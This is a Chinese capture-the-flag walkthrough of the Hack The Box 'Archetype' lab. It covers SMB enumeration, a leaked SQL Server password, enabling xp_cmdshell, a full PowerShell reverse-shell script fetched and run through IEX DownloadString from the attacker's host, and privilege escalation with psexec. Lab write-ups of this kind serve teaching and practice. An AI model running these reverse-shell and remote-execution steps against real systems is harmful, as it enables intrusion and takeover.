『Hack The Box』Archetype
文章目录
- 前言
- 配置代理
- 解题
- 信息搜集
- SMB
- SQL Server拿shell
- *持久化shell
- User Owns Flag
- System Owns Flag
- 完
前言
操作基于Kali 2020,参照官方wp
配置代理
Kali连接下发的代理
openvpn xxx.ovpn
ifconfig
获取当前Kali的ip,10.10.14.*网段的ip
此时靶机可以ping通,靶机ip10.10.10.27
解题
信息搜集
用nmap扫一下
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27
第一条指令列出了开放的端口
-p-
扫描所有端口,原型是-p0-65535
--min-rate
指定最小发包速率-T4
指定扫描时序速率,范围0-5,值越大越快
第二条指令进行了具体端口扫描
-sC
指定使用默认扫描脚本-sV
指定探测版本信息
445、1433端口是开放的;445是SMB的端口,1433是SQL Server的端口
那么看到这就提供了一条思路:文件共享一般存储了敏感用户信息,可以尝试查找数据库和Linux的用户信息,进而走SQL Server进入
SMB
Linux使用smbclient
读取SMB
目标主机是Windows,目录分隔符要转义
smbclient -N -L \\\\10.10.10.27\\
-N
指定不验证密码-L
表示列出信息- ip需要用双斜杠
发现靶机共享了backups备份文件夹,找一找有没有好康的
smbclient -N \\\\10.10.10.27\\backups
smb: \> dir
找到一个.dtsConfig,它是SSIS的配置文件,即Microsoft SQL Server Integration Services,把它下载下来康康
smb: \> get prod.dtsConfig
get指令能下载指定文件到terminal的路径下
<DTSConfiguration><DTSConfigurationHeading><DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/></DTSConfigurationHeading><Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String"><ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue></Configuration>
</DTSConfiguration>
在配置文件中找到了主机名\用户ARCHETYPE\sql_svc
,密码M3g4c0rp123
,接下来就能连数据库了
SQL Server拿shell
用Impacket工具包访问数据库
SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols. (github.com)
使用里面的工具mssqlclient.py
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
username@ip
指定连接信息-windows-auth
指定验证登录
进入数据库后先看看当前用户是否属于admin
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
返回1即属于admin
接下来就是开启shell的权限
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
先开高级选项,再开shell,最后测试一下可以用
至此我们已经初步拿到了shell
*持久化shell
SQL Server的shel还略显单薄,既然是Windows,那么就尝试用Powershell脚本、nc监听做一个持久化的连接
第一行的IP填写最开始获取的Kali IP,注意网段
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.xxx",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
另存到Kali的桌面,名称为shell.ps1
之后用python起一个服务器,以便靶机访问脚本、下载脚本,服务器在桌面起,和shell.ps1在同一个文件夹
python3 -m http.server 80
要确保起了后能访问到脚本
nc起一个监听用于shell交互,端口同上所设置的443
nc -lvnp 443
返回mssqlclient,让靶机访问、下载、运行脚本,同理xxx是Kali IP
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
SQL \> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.xxx/shell.ps1\");"
- 左上是服务器,如果收到了get请求,证明靶机访问了
shell.ps1
- 左下是client端,用nc监听,有来自10.10.10.27的连接请求证明连接成功
- 右侧靶机执行运行脚本,运行后得到左侧
用nc就可以进行shell交互了
User Owns Flag
访问桌面获取到flag文件
type c:\Users\sql_svc\Desktop\user.txt
System Owns Flag
拿到了shell,找一找最近的历史
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
获取到了backups的映射和管理员密码MEGACORP_4dm1n!!
,之后使用impacket的psexec.py提权
psexec.py administrator@10.10.10.27
同理,桌面获取flag
type c:\Users\Administrator\Desktop\root.txt
完
『Hack The Box』Archetype相关推荐
- 2017-2018-2 20155303『网络对抗技术』Final:Web渗透获取WebShell权限
2017-2018-2 『网络对抗技术』Final:Web渗透获取WebShell权限 --------CONTENTS-------- 一.Webshell原理 1.什么是WebShell 2.We ...
- 『HTML5挑战经典』是英雄就下100层-开源讲座(二)危险!英雄
本篇为<『HTML5挑战经典』是英雄就下100层-开源讲座>第二篇,需要用到开源引擎lufylegend,可以到这里下载: 下载地址:http://lufylegend.googlecod ...
- 20155308『网络对抗技术』Exp7:网络欺诈防范
20155308『网络对抗技术』Exp7:网络欺诈防范 原理与实践说明 1.实践目标 本实践的目标是:理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法. 2.实践内容概述 简单应用SET ...
- iOS多线程:『NSOperation、NSOperationQueue』详尽总结
2019独角兽企业重金招聘Python工程师标准>>> iOS多线程:『NSOperation.NSOperationQueue』详尽总结 转载: 原地址https://www.ji ...
- 『Python基础-11』集合 (set)
# 『Python基础-11』集合 (set) 目录: 集合的基本知识 集合的创建 访问集合里的值 向集合set增加元素 移除集合中的元素 集合set的运算 1. 集合的基本知识 集合(set)是一个 ...
- [日推荐]『知乐邀请函』好用的H5制作工具
2019独角兽企业重金招聘Python工程师标准>>> 今天小编要给大家推荐一款很好用的H5制作小程序. 知乐邀请函 简介:知乐邀请函,在微信小程序中制作流行的H5页面.有官方和设计 ...
- html点击按钮切换图片代码_SVG创意推文—『点击开窗』教程
嘿,胖友们大家好呀,我是三儿. 好久不见,胖友们有没有想我呀!最近这段时间,各大官媒齐齐出手,朝着SVG创意推文进军.之前人民日报推了一篇<点亮武汉>在当时引起了不小的轰动,三儿也连忙出了 ...
- 【NLP】万字长文带你解读『虚假新闻检测』最新进展
NewBeeNLP原创出品 公众号专栏作者 @byn blog | https://blog.csdn.net/byn12345 互联网时代,假新闻铺天盖地,而且极具迷惑性,因此假新闻检测任务对逻辑的 ...
- 『PaddlePaddle X Wechaty』有颜又有才的Living_Bot
『PaddlePaddle X Wechaty』有颜又有才的Living_Bot 视频奉上先 BiliBili视频 AIStudio地址(本项目全部相关文件放在此地址中可供下载) wechaty介绍 ...
最新文章
- Calling Oracle stored procedures from Microsoft.NET
- php 定义goto函数错误,goto语法在PHP中的使用教程
- java内存图怎么画,jvm内存模型怎么画?简单美观的模型图制作软件
- java是如何实现原语的_Java中的低GC:使用原语而不是包装器
- live555学习笔记3-消息循环
- MySQL入门 (二) : SELECT 基础查询
- 【Python】Pygame入门
- 智慧城市java开发_智慧城市主界面开发 使用eclipse开发智慧城市APP源码 - 下载 - 搜珍网...
- python清洗数据去除停用词_python去除停用词(结巴分词下)
- 基于GPON的光纤光栅通信网与传感网融合技术研究
- java 文件比对(四)-- 使用 diffutils
- 三种定位+堆叠+li小黑点变图片
- excel取消合并单元格并填充内容的技巧
- Vscode信任问题
- VirtualBox运行出现“0x00000000指令引用的0x00000000内存。该内存不能为written”
- 怎么查看笔记本内存条型号_「电脑内存怎么看」电脑内存怎么看大小(内存条怎么看几代型号) - seo实验室...
- EL表达式JSTL标签库小结
- 动态爬取链家二手房成交记录并保存至Excel
- 头条面试题:判断一个数是否是happy number(每一位的平方和最终为1)
- 七款酷炫的 Mac 屏保
热门文章
- 一个可在多种编程语言之间转换代码的IDE工具:ide.onelang.io
- AVOS Cloud Hackathon - SegmentFault
- 整蛊小病毒,自己拿来快乐
- 极智开发 | 谈谈 GPU 利用率
- Zabbix 实现简单的WEN监测
- ubuntu 更新chrome
- 基于TCP的应用层协议 与基于UDP的应用层协议分别有哪些
- MeeGo handset 1.1开发环境[6]:封装*.src.rpm和*.rpm
- 蓝桥杯基础练习超全习题题解VIP版——BASIC-26.报时助手(护眼版)
- ThinkJS安装到启动